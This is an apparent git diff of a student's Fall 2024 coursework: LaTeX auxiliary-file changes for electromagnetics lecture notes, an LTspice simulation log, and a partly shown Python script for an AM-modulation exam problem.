Pretty much all of Fall 2024
@ -41,111 +41,114 @@
|
||||
\newlabel{ex: Consider the vector field, $\vec {F} = \vec {k} \times \hat {r}$, where magnitude is uniform and the direction is perpendicular to the distance from a central point for all space. $$\nabla \cdot \vec {F} = 0$$ $$\nabla \times \vec {F} = 2k$$}{{1.2.5}{5}{}{tcb@cnt@Example.1.2.5}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Curl and Divergence Identities}{5}{section*.2}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {1.2.2}Line and Surface Integrals}{5}{subsection.1.2.2}\protected@file@percent }
|
||||
\newlabel{path-1}{{1.2.6}{5}{Path 1}{section*.3}{}}
|
||||
\newlabel{path-2}{{1.2.6}{5}{Path 2}{section*.4}{}}
|
||||
\newlabel{path-3}{{1.2.6}{5}{Path 3}{section*.5}{}}
|
||||
\newlabel{path-1}{{1.2.2}{6}{Path 1}{section*.3}{}}
|
||||
\@writefile{toc}{\contentsline {subparagraph}{Path 1}{6}{section*.3}\protected@file@percent }
|
||||
\newlabel{path-2}{{1.2.2}{6}{Path 2}{section*.4}{}}
|
||||
\@writefile{toc}{\contentsline {subparagraph}{Path 2}{6}{section*.4}\protected@file@percent }
|
||||
\newlabel{path-3}{{1.2.2}{6}{Path 3}{section*.5}{}}
|
||||
\@writefile{toc}{\contentsline {subparagraph}{Path 3}{6}{section*.5}\protected@file@percent }
|
||||
\BKM@entry{id=7,open,dest={73656374696F6E2E312E33},srcline={294}}{5C3337365C3337375C303030315C3030302E5C303030335C3030305C3034305C303030545C303030685C303030655C3030305C3034305C303030455C3030306C5C303030655C303030635C303030745C303030725C303030695C303030635C3030305C3034305C303030465C303030695C303030655C3030306C5C30303064}
|
||||
\BKM@entry{id=8,open,dest={73756273656374696F6E2E312E332E31},srcline={295}}{5C3337365C3337375C303030315C3030302E5C303030335C3030302E5C303030315C3030305C3034305C303030435C3030306F5C303030755C3030306C5C3030306F5C3030306D5C303030625C303030275C303030735C3030305C3034305C3030304C5C303030615C30303077}
|
||||
\@writefile{toc}{\contentsline {section}{\numberline {1.3}The Electric Field}{6}{section.1.3}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {1.3.1}Coulomb's Law}{6}{subsection.1.3.1}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {section}{\numberline {1.3}The Electric Field}{7}{section.1.3}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {1.3.1}Coulomb's Law}{7}{subsection.1.3.1}\protected@file@percent }
|
||||
\BKM@entry{id=9,open,dest={73756273656374696F6E2E312E332E32},srcline={339}}{5C3337365C3337375C303030315C3030302E5C303030335C3030302E5C303030325C3030305C3034305C303030455C3030306C5C303030655C303030635C303030745C303030725C303030695C303030635C3030305C3034305C303030465C303030695C303030655C3030306C5C303030645C3030305C3034305C303030495C3030306E5C303030745C303030655C3030306E5C303030735C303030695C303030745C30303079}
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {1.3.2}Electric Field Intensity}{7}{subsection.1.3.2}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {1.3.2}Electric Field Intensity}{8}{subsection.1.3.2}\protected@file@percent }
|
||||
\BKM@entry{id=10,open,dest={73656374696F6E2E312E34},srcline={417}}{5C3337365C3337375C303030315C3030302E5C303030345C3030305C3034305C303030545C303030685C303030655C3030305C3034305C3030304D5C303030615C303030675C3030306E5C303030655C303030745C303030695C303030635C3030305C3034305C303030465C303030695C303030655C3030306C5C30303064}
|
||||
\BKM@entry{id=11,open,dest={73756273656374696F6E2E312E342E31},srcline={418}}{5C3337365C3337375C303030315C3030302E5C303030345C3030302E5C303030315C3030305C3034305C303030425C303030695C3030306F5C303030745C3030302D5C303030535C303030615C303030765C303030615C303030725C303030745C3030305C3034305C3030304C5C303030615C30303077}
|
||||
\BKM@entry{id=12,open,dest={73656374696F6E2E312E35},srcline={465}}{5C3337365C3337375C303030315C3030302E5C303030355C3030305C3034305C303030475C303030615C303030755C303030735C303030735C303030275C303030735C3030305C3034305C3030304C5C303030615C303030775C3030305C3034305C303030665C3030306F5C303030725C3030305C3034305C3030302D5C303030665C303030695C303030655C3030306C5C303030645C30303073}
|
||||
\BKM@entry{id=13,open,dest={73656374696F6E2E312E36},srcline={467}}{5C3337365C3337375C303030315C3030302E5C303030365C3030305C3034305C303030455C3030304D5C30303046}
|
||||
\@writefile{toc}{\contentsline {section}{\numberline {1.4}The Magnetic Field}{8}{section.1.4}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {1.4.1}Biot-Savart Law}{8}{subsection.1.4.1}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {section}{\numberline {1.5}Gauss's Law for $\vec {E}$-fields}{8}{section.1.5}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {section}{\numberline {1.6}EMF}{8}{section.1.6}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Filling in some Gaps}{9}{section*.6}\protected@file@percent }
|
||||
\newlabel{filling-in-some-gaps}{{1.6}{9}{Filling in some Gaps}{section*.6}{}}
|
||||
\newlabel{electric-flux-density}{{1.6}{10}{Electric Flux Density}{section*.7}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Electric Flux Density}{10}{section*.7}\protected@file@percent }
|
||||
\newlabel{magnetic-flux-density}{{1.6}{10}{Magnetic Flux Density}{section*.8}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Magnetic Flux Density}{10}{section*.8}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Ampere's Law}{10}{section*.9}\protected@file@percent }
|
||||
\newlabel{amperes-law}{{1.6}{10}{Ampere's Law}{section*.9}{}}
|
||||
\newlabel{simplified-amperes-law}{{1.6}{10}{Simplified Ampere's Law}{section*.10}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Simplified Ampere's Law}{10}{section*.10}\protected@file@percent }
|
||||
\newlabel{example}{{1.6}{10}{Example}{section*.11}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Example}{10}{section*.11}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Coulomb's Law}{11}{section*.12}\protected@file@percent }
|
||||
\newlabel{coulombs-law-1}{{1.6}{11}{Coulomb's Law}{section*.12}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Faraday's Law}{11}{section*.13}\protected@file@percent }
|
||||
\newlabel{faradays-law}{{1.6}{11}{Faraday's Law}{section*.13}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Solenoid (Ideal)}{11}{section*.14}\protected@file@percent }
|
||||
\newlabel{solenoid-ideal}{{1.6}{11}{Solenoid (Ideal)}{section*.14}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Toroid (Ideal)}{12}{section*.15}\protected@file@percent }
|
||||
\newlabel{toroid-ideal}{{1.6}{12}{Toroid (Ideal)}{section*.15}{}}
|
||||
\@writefile{toc}{\contentsline {section}{\numberline {1.4}The Magnetic Field}{10}{section.1.4}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {1.4.1}Biot-Savart Law}{10}{subsection.1.4.1}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {section}{\numberline {1.5}Gauss's Law for $\vec {E}$-fields}{11}{section.1.5}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {section}{\numberline {1.6}EMF}{11}{section.1.6}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Filling in some Gaps}{11}{section*.6}\protected@file@percent }
|
||||
\newlabel{filling-in-some-gaps}{{1.6}{11}{Filling in some Gaps}{section*.6}{}}
|
||||
\newlabel{electric-flux-density}{{1.6}{12}{Electric Flux Density}{section*.7}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Electric Flux Density}{12}{section*.7}\protected@file@percent }
|
||||
\newlabel{magnetic-flux-density}{{1.6}{12}{Magnetic Flux Density}{section*.8}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Magnetic Flux Density}{12}{section*.8}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Ampere's Law}{12}{section*.9}\protected@file@percent }
|
||||
\newlabel{amperes-law}{{1.6}{12}{Ampere's Law}{section*.9}{}}
|
||||
\newlabel{simplified-amperes-law}{{1.6}{12}{Simplified Ampere's Law}{section*.10}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Simplified Ampere's Law}{12}{section*.10}\protected@file@percent }
|
||||
\newlabel{example}{{1.6}{13}{Example}{section*.11}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Example}{13}{section*.11}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Coulomb's Law}{13}{section*.12}\protected@file@percent }
|
||||
\newlabel{coulombs-law-1}{{1.6}{13}{Coulomb's Law}{section*.12}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Faraday's Law}{13}{section*.13}\protected@file@percent }
|
||||
\newlabel{faradays-law}{{1.6}{13}{Faraday's Law}{section*.13}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Solenoid (Ideal)}{13}{section*.14}\protected@file@percent }
|
||||
\newlabel{solenoid-ideal}{{1.6}{13}{Solenoid (Ideal)}{section*.14}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Toroid (Ideal)}{14}{section*.15}\protected@file@percent }
|
||||
\newlabel{toroid-ideal}{{1.6}{14}{Toroid (Ideal)}{section*.15}{}}
|
||||
\BKM@entry{id=14,open,dest={636861707465722E32},srcline={642}}{5C3337365C3337375C303030325C3030305C3034305C3030304D5C303030615C303030785C303030775C303030655C3030306C5C3030306C5C303030275C303030735C3030305C3034305C303030455C303030715C303030755C303030615C303030745C303030695C3030306F5C3030306E5C303030735C3030305C3034305C303030695C3030306E5C3030305C3034305C303030445C303030695C303030665C303030665C303030655C303030725C303030655C3030306E5C303030745C303030695C303030615C3030306C5C3030305C3034305C303030465C3030306F5C303030725C3030306D}
|
||||
\@writefile{toc}{\contentsline {chapter}{\numberline {2}Maxwell's Equations in Differential Form}{13}{chapter.2}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {chapter}{\numberline {2}Maxwell's Equations in Differential Form}{15}{chapter.2}\protected@file@percent }
|
||||
\@writefile{lof}{\addvspace {10\p@ }}
|
||||
\@writefile{lot}{\addvspace {10\p@ }}
|
||||
\@writefile{loa}{\addvspace {10\p@ }}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Example 2.1}{13}{section*.16}\protected@file@percent }
|
||||
\newlabel{example-2.1}{{2}{13}{Example 2.1}{section*.16}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Example 2.1}{15}{section*.16}\protected@file@percent }
|
||||
\newlabel{example-2.1}{{2}{15}{Example 2.1}{section*.16}{}}
|
||||
\BKM@entry{id=15,open,dest={73756273656374696F6E2E322E302E31},srcline={684}}{5C3337365C3337375C303030325C3030302E5C303030305C3030302E5C303030315C3030305C3034305C303030575C303030615C303030765C303030655C3030305C3034305C303030505C303030725C3030306F5C303030705C303030615C303030675C303030615C303030745C303030695C3030306F5C3030306E}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Example 2.2}{14}{section*.17}\protected@file@percent }
|
||||
\newlabel{example-2.2}{{2}{14}{Example 2.2}{section*.17}{}}
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {2.0.1}Wave Propagation}{14}{subsection.2.0.1}\protected@file@percent }
|
||||
\newlabel{wave-propagation}{{2.0.1}{14}{Wave Propagation}{subsection.2.0.1}{}}
|
||||
\newlabel{homogenious-vector-wave-for-vece-fields}{{2.0.1}{14}{\texorpdfstring {Homogenious vector wave for \(\vec {E}\)-fields}{Homogenious vector wave for \textbackslash vec\{E\}-fields}}{section*.18}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Homogenious vector wave for \(\vec {E}\)-fields}{14}{section*.18}\protected@file@percent }
|
||||
\newlabel{homogeneous-vector-wave-for-vecb-fields}{{2.0.1}{15}{\texorpdfstring {Homogeneous vector wave for \(\vec {B}\)-fields}{Homogeneous vector wave for \textbackslash vec\{B\}-fields}}{section*.19}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Homogeneous vector wave for \(\vec {B}\)-fields}{15}{section*.19}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Phasor representations}{15}{section*.20}\protected@file@percent }
|
||||
\newlabel{phasor-representations}{{2.0.1}{15}{Phasor representations}{section*.20}{}}
|
||||
\newlabel{the-phase-constant}{{2.0.1}{15}{The phase constant:}{section*.21}{}}
|
||||
\@writefile{toc}{\contentsline {subparagraph}{The phase constant:}{15}{section*.21}\protected@file@percent }
|
||||
\newlabel{real-time-form-of-the-solution}{{2.0.1}{16}{Real time form of the solution:}{section*.22}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Real time form of the solution:}{16}{section*.22}\protected@file@percent }
|
||||
\newlabel{the-phase-velocity}{{2.0.1}{16}{The phase velocity}{section*.23}{}}
|
||||
\@writefile{toc}{\contentsline {subparagraph}{The phase velocity}{16}{section*.23}\protected@file@percent }
|
||||
\newlabel{also}{{2.0.1}{16}{Also}{section*.24}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Also}{16}{section*.24}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Example 2.3}{16}{section*.25}\protected@file@percent }
|
||||
\newlabel{example-2.3}{{2.0.1}{16}{Example 2.3}{section*.25}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Example 2.2}{16}{section*.17}\protected@file@percent }
|
||||
\newlabel{example-2.2}{{2}{16}{Example 2.2}{section*.17}{}}
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {2.0.1}Wave Propagation}{16}{subsection.2.0.1}\protected@file@percent }
|
||||
\newlabel{wave-propagation}{{2.0.1}{16}{Wave Propagation}{subsection.2.0.1}{}}
|
||||
\newlabel{homogenious-vector-wave-for-vece-fields}{{2.0.1}{16}{\texorpdfstring {Homogenious vector wave for \(\vec {E}\)-fields}{Homogenious vector wave for \textbackslash vec\{E\}-fields}}{section*.18}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Homogenious vector wave for \(\vec {E}\)-fields}{16}{section*.18}\protected@file@percent }
|
||||
\newlabel{homogeneous-vector-wave-for-vecb-fields}{{2.0.1}{17}{\texorpdfstring {Homogeneous vector wave for \(\vec {B}\)-fields}{Homogeneous vector wave for \textbackslash vec\{B\}-fields}}{section*.19}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Homogeneous vector wave for \(\vec {B}\)-fields}{17}{section*.19}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Phasor representations}{17}{section*.20}\protected@file@percent }
|
||||
\newlabel{phasor-representations}{{2.0.1}{17}{Phasor representations}{section*.20}{}}
|
||||
\newlabel{the-phase-constant}{{2.0.1}{17}{The phase constant:}{section*.21}{}}
|
||||
\@writefile{toc}{\contentsline {subparagraph}{The phase constant:}{17}{section*.21}\protected@file@percent }
|
||||
\newlabel{real-time-form-of-the-solution}{{2.0.1}{18}{Real time form of the solution:}{section*.22}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Real time form of the solution:}{18}{section*.22}\protected@file@percent }
|
||||
\newlabel{the-phase-velocity}{{2.0.1}{18}{The phase velocity}{section*.23}{}}
|
||||
\@writefile{toc}{\contentsline {subparagraph}{The phase velocity}{18}{section*.23}\protected@file@percent }
|
||||
\newlabel{also}{{2.0.1}{18}{Also}{section*.24}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Also}{18}{section*.24}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Example 2.3}{18}{section*.25}\protected@file@percent }
|
||||
\newlabel{example-2.3}{{2.0.1}{18}{Example 2.3}{section*.25}{}}
|
||||
\BKM@entry{id=16,open,dest={73756273656374696F6E2E322E302E32},srcline={822}}{5C3337365C3337375C303030325C3030302E5C303030305C3030302E5C303030325C3030305C3034305C303030505C3030306F5C3030306C5C303030615C303030725C303030695C3030307A5C303030615C303030745C303030695C3030306F5C3030306E}
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {2.0.2}Polarization}{17}{subsection.2.0.2}\protected@file@percent }
|
||||
\newlabel{polarization}{{2.0.2}{17}{Polarization}{subsection.2.0.2}{}}
|
||||
\newlabel{locus}{{2.0.2}{17}{Locus}{section*.26}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Locus}{17}{section*.26}\protected@file@percent }
|
||||
\newlabel{phase}{{2.0.2}{17}{Phase}{section*.27}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Phase}{17}{section*.27}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Polarization Characteristics}{17}{section*.28}\protected@file@percent }
|
||||
\newlabel{polarization-characteristics}{{2.0.2}{17}{Polarization Characteristics}{section*.28}{}}
|
||||
\newlabel{linear-polarization}{{2.0.2}{17}{Linear polarization}{section*.29}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Linear polarization}{17}{section*.29}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {2.0.2}Polarization}{19}{subsection.2.0.2}\protected@file@percent }
|
||||
\newlabel{polarization}{{2.0.2}{19}{Polarization}{subsection.2.0.2}{}}
|
||||
\newlabel{locus}{{2.0.2}{19}{Locus}{section*.26}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Locus}{19}{section*.26}\protected@file@percent }
|
||||
\newlabel{phase}{{2.0.2}{19}{Phase}{section*.27}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Phase}{19}{section*.27}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Polarization Characteristics}{19}{section*.28}\protected@file@percent }
|
||||
\newlabel{polarization-characteristics}{{2.0.2}{19}{Polarization Characteristics}{section*.28}{}}
|
||||
\newlabel{linear-polarization}{{2.0.2}{19}{Linear polarization}{section*.29}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Linear polarization}{19}{section*.29}\protected@file@percent }
|
||||
\BKM@entry{id=17,open,dest={73756273656374696F6E2E322E302E33},srcline={935}}{5C3337365C3337375C303030325C3030302E5C303030305C3030302E5C303030335C3030305C3034305C3030304E5C3030306F5C3030306E5C3030302D5C303030535C303030695C3030306E5C303030755C303030735C3030306F5C303030695C303030645C303030615C3030306C5C3030305C3034305C303030575C303030615C303030765C303030655C30303073}
|
||||
\newlabel{elliptical-polarization}{{2.0.2}{18}{Elliptical Polarization}{section*.30}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Elliptical Polarization}{18}{section*.30}\protected@file@percent }
|
||||
\newlabel{circular-polarization}{{2.0.2}{18}{Circular Polarization}{section*.31}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Circular Polarization}{18}{section*.31}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Example}{18}{section*.32}\protected@file@percent }
|
||||
\newlabel{example}{{2.0.2}{18}{Example}{section*.32}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Example}{18}{section*.33}\protected@file@percent }
|
||||
\newlabel{example-1}{{2.0.2}{18}{Example}{section*.33}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Example}{18}{section*.34}\protected@file@percent }
|
||||
\newlabel{example-2}{{2.0.2}{18}{Example}{section*.34}{}}
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {2.0.3}Non-Sinusoidal Waves}{18}{subsection.2.0.3}\protected@file@percent }
|
||||
\newlabel{non-sinusoidal-waves}{{2.0.3}{18}{Non-Sinusoidal Waves}{subsection.2.0.3}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{D'Alemberts Solution}{19}{section*.35}\protected@file@percent }
|
||||
\newlabel{dalemberts-solution}{{2.0.3}{19}{D'Alemberts Solution}{section*.35}{}}
|
||||
\newlabel{elliptical-polarization}{{2.0.2}{20}{Elliptical Polarization}{section*.30}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Elliptical Polarization}{20}{section*.30}\protected@file@percent }
|
||||
\newlabel{circular-polarization}{{2.0.2}{20}{Circular Polarization}{section*.31}{}}
|
||||
\@writefile{toc}{\contentsline {paragraph}{Circular Polarization}{20}{section*.31}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Example}{20}{section*.32}\protected@file@percent }
|
||||
\newlabel{example}{{2.0.2}{20}{Example}{section*.32}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Example}{20}{section*.33}\protected@file@percent }
|
||||
\newlabel{example-1}{{2.0.2}{20}{Example}{section*.33}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{Example}{20}{section*.34}\protected@file@percent }
|
||||
\newlabel{example-2}{{2.0.2}{20}{Example}{section*.34}{}}
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {2.0.3}Non-Sinusoidal Waves}{20}{subsection.2.0.3}\protected@file@percent }
|
||||
\newlabel{non-sinusoidal-waves}{{2.0.3}{20}{Non-Sinusoidal Waves}{subsection.2.0.3}{}}
|
||||
\@writefile{toc}{\contentsline {subsubsection}{D'Alemberts Solution}{21}{section*.35}\protected@file@percent }
|
||||
\newlabel{dalemberts-solution}{{2.0.3}{21}{D'Alemberts Solution}{section*.35}{}}
|
||||
\BKM@entry{id=18,open,dest={636861707465722E33},srcline={970}}{5C3337365C3337375C303030335C3030305C3034305C3030304D5C303030615C303030785C303030775C303030655C3030306C5C3030306C5C303030275C303030735C3030305C3034305C303030455C303030715C303030755C303030615C303030745C303030695C3030306F5C3030306E5C303030735C3030305C3034305C303030695C3030306E5C3030305C3034305C3030304D5C303030615C303030745C303030655C303030725C303030695C303030615C3030306C5C30303073}
|
||||
\BKM@entry{id=19,open,dest={73756273656374696F6E2E332E302E31},srcline={986}}{5C3337365C3337375C303030335C3030302E5C303030305C3030302E5C303030315C3030305C3034305C303030445C303030655C303030725C303030695C303030765C303030615C303030745C303030695C3030306F5C3030306E5C3030305C3034305C3030306F5C303030665C3030305C3034305C3030304F5C303030685C3030306D5C303030275C303030735C3030305C3034305C3030304C5C303030615C30303077}
|
||||
\@writefile{toc}{\contentsline {chapter}{\numberline {3}Maxwell's Equations in Materials}{20}{chapter.3}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {chapter}{\numberline {3}Maxwell's Equations in Materials}{22}{chapter.3}\protected@file@percent }
|
||||
\@writefile{lof}{\addvspace {10\p@ }}
|
||||
\@writefile{lot}{\addvspace {10\p@ }}
|
||||
\@writefile{loa}{\addvspace {10\p@ }}
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {3.0.1}Derivation of Ohm's Law}{20}{subsection.3.0.1}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {3.0.1}Derivation of Ohm's Law}{22}{subsection.3.0.1}\protected@file@percent }
|
||||
\BKM@entry{id=20,open,dest={73656374696F6E2E332E31},srcline={1020}}{5C3337365C3337375C303030335C3030302E5C303030315C3030305C3034305C303030445C303030695C303030655C3030306C5C303030655C303030635C303030745C303030725C303030695C303030635C3030305C3034305C3030304D5C303030615C303030745C303030655C303030725C303030695C303030615C3030306C5C303030735C3030305C3034305C303030615C3030306E5C303030645C3030305C3034305C303030505C3030306F5C3030306C5C303030615C303030725C303030695C3030307A5C303030615C303030745C303030695C3030306F5C3030306E}
|
||||
\@writefile{toc}{\contentsline {section}{\numberline {3.1}Dielectric Materials and Polarization}{21}{section.3.1}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {section}{\numberline {3.1}Dielectric Materials and Polarization}{23}{section.3.1}\protected@file@percent }
|
||||
\BKM@entry{id=21,open,dest={73756273656374696F6E2E332E312E31},srcline={1106}}{5C3337365C3337375C303030335C3030302E5C303030315C3030302E5C303030315C3030305C3034305C303030505C3030306F5C3030306C5C303030615C303030725C303030695C3030307A5C303030615C303030745C303030695C3030306F5C3030306E5C3030305C3034305C303030435C303030755C303030725C303030725C303030655C3030306E5C30303074}
|
||||
\newlabel{th:o}{{3.1.1}{22}{F}{tcb@cnt@claim.3.1.1}{}}
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {3.1.1}Polarization Current}{22}{subsection.3.1.1}\protected@file@percent }
|
||||
\newlabel{th:o}{{3.1.1}{24}{F}{tcb@cnt@claim.3.1.1}{}}
|
||||
\BKM@entry{id=22,open,dest={73756273656374696F6E2E332E312E32},srcline={1152}}{5C3337365C3337375C303030335C3030302E5C303030315C3030302E5C303030325C3030305C3034305C303030445C303030695C303030735C303030705C3030306C5C303030615C303030635C303030655C3030306D5C303030655C3030306E5C303030745C3030305C3034305C3030306F5C303030665C3030305C3034305C303030505C3030306F5C3030306C5C303030615C303030725C303030695C3030307A5C303030615C303030745C303030695C3030306F5C3030306E5C3030305C3034305C303030435C303030685C303030615C303030725C303030675C303030655C30303073}
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {3.1.2}Displacement of Polarization Charges}{23}{subsection.3.1.2}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {3.1.1}Polarization Current}{25}{subsection.3.1.1}\protected@file@percent }
|
||||
\@writefile{toc}{\contentsline {subsection}{\numberline {3.1.2}Displacement of Polarization Charges}{26}{subsection.3.1.2}\protected@file@percent }
|
||||
\BKM@entry{id=23,open,dest={73656374696F6E2E332E32},srcline={1248}}{5C3337365C3337375C303030335C3030302E5C303030325C3030305C3034305C3030304D5C303030615C303030675C3030306E5C303030655C303030745C303030695C303030635C3030305C3034305C3030304D5C303030615C303030745C303030655C303030725C303030695C303030615C3030306C5C30303073}
|
||||
\@writefile{toc}{\contentsline {section}{\numberline {3.2}Magnetic Materials}{24}{section.3.2}\protected@file@percent }
|
||||
\newlabel{ex:o}{{3.2.1}{25}{C}{tcb@cnt@Example.3.2.1}{}}
|
||||
\@writefile{toc}{\contentsline {section}{\numberline {3.2}Magnetic Materials}{28}{section.3.2}\protected@file@percent }
|
||||
\newlabel{ex:o}{{3.2.1}{28}{C}{tcb@cnt@Example.3.2.1}{}}
|
||||
|
@ -1,30 +1,23 @@
|
||||
Circuit: * C:\users\sharpe\Documents\Rowan\Rowan-Classes\6th-Semester-Spring-2024\SysCon\Final Project\Draft1.asc
|
||||
|
||||
Instance "m1": Length shorter than recommended for a level 1 MOSFET.
|
||||
Instance "m1": Width narrower than recommended for a level 1 MOSFET.
|
||||
Instance "m2": Length shorter than recommended for a level 1 MOSFET.
|
||||
Instance "m2": Width narrower than recommended for a level 1 MOSFET.
|
||||
Instance "m3": Length shorter than recommended for a level 1 MOSFET.
|
||||
Instance "m3": Width narrower than recommended for a level 1 MOSFET.
|
||||
Instance "m4": Length shorter than recommended for a level 1 MOSFET.
|
||||
Instance "m4": Width narrower than recommended for a level 1 MOSFET.
|
||||
Direct Newton iteration for .op point succeeded.
|
||||
WARNING: Specified period is not longer than the sum of Trise, Tfall, and Ton for v1. Increasing period to 0.1
|
||||
.OP point found by inspection.
|
||||
|
||||
Date: Tue Sep 17 10:53:42 2024
|
||||
Total elapsed time: 0.138 seconds.
|
||||
Date: Tue Oct 1 18:27:36 2024
|
||||
Total elapsed time: 0.124 seconds.
|
||||
|
||||
tnom = 27
|
||||
temp = 27
|
||||
method = modified trap
|
||||
totiter = 2089
|
||||
traniter = 2082
|
||||
tranpoints = 1042
|
||||
accept = 1042
|
||||
rejected = 0
|
||||
matrix size = 4
|
||||
totiter = 2694
|
||||
traniter = 2694
|
||||
tranpoints = 1348
|
||||
accept = 1315
|
||||
rejected = 33
|
||||
matrix size = 3
|
||||
fillins = 0
|
||||
solver = Normal
|
||||
Avg thread counts: 1.5/1.9/1.9/1.5
|
||||
Matrix Compiler1: 136 bytes object code size 0.3/0.3/[0.2]
|
||||
Matrix Compiler2: off [0.2]/0.3/0.2
|
||||
Avg thread counts: 1.4/1.7/1.7/1.4
|
||||
Matrix Compiler1: 3 opcodes 0.2/[0.2]/0.2
|
||||
Matrix Compiler2: 15 opcodes 0.2/[0.2]/0.2
|
||||
|
||||
|
51
7th-Semester-Fall-2024/ECOMMS/exams/exam-1/problem-1.py
Normal file
@ -0,0 +1,51 @@
|
||||
import numpy as np
|
||||
|
||||
f_1 = 5
|
||||
f_2 = 5E3
|
||||
omega_1 = 2*np.pi*f_1
|
||||
omega_2 = 2*np.pi*f_2
|
||||
|
||||
A_c = 10
|
||||
a = 1
|
||||
|
||||
def m(t):
|
||||
return 0.2*np.cos(omega_1*t) + 0.8*np.cos(omega_2*t)
|
||||
|
||||
def dm_dt(t):
|
||||
return -0.2*omega_1*np.sin(omega_1*t) - 0.8*omega_2*np.sin(omega_2*t)
|
||||
|
||||
def ddm_dtt(t):
|
||||
return -0.2*omega_1**2*np.cos(omega_1*t) - 0.8*omega_2**2*np.cos(omega_2*t)
|
||||
|
||||
def g(t):
|
||||
return A_c + A_c*m(t)
|
||||
|
||||
# first derivative of g(t)
|
||||
def dg_dt(t):
|
||||
return A_c*dm_dt(t)
|
||||
|
||||
# second derivative of g(t)
|
||||
def ddg_dtt(t):
|
||||
return A_c**2*ddm_dtt(t)
|
||||
|
||||
# use Newton's method to find the maximum of the function
|
||||
def newton_method(t):
|
||||
for i in range(10):
|
||||
t = t-dg_dt(t)/ddg_dtt(t)
|
||||
print("Newton method:", t, np.min(m(t)))
|
||||
return np.min(g(t))
|
||||
|
||||
# Sample g(t) at the maxima and minima of the carrier signal
|
||||
def sample_method():
|
||||
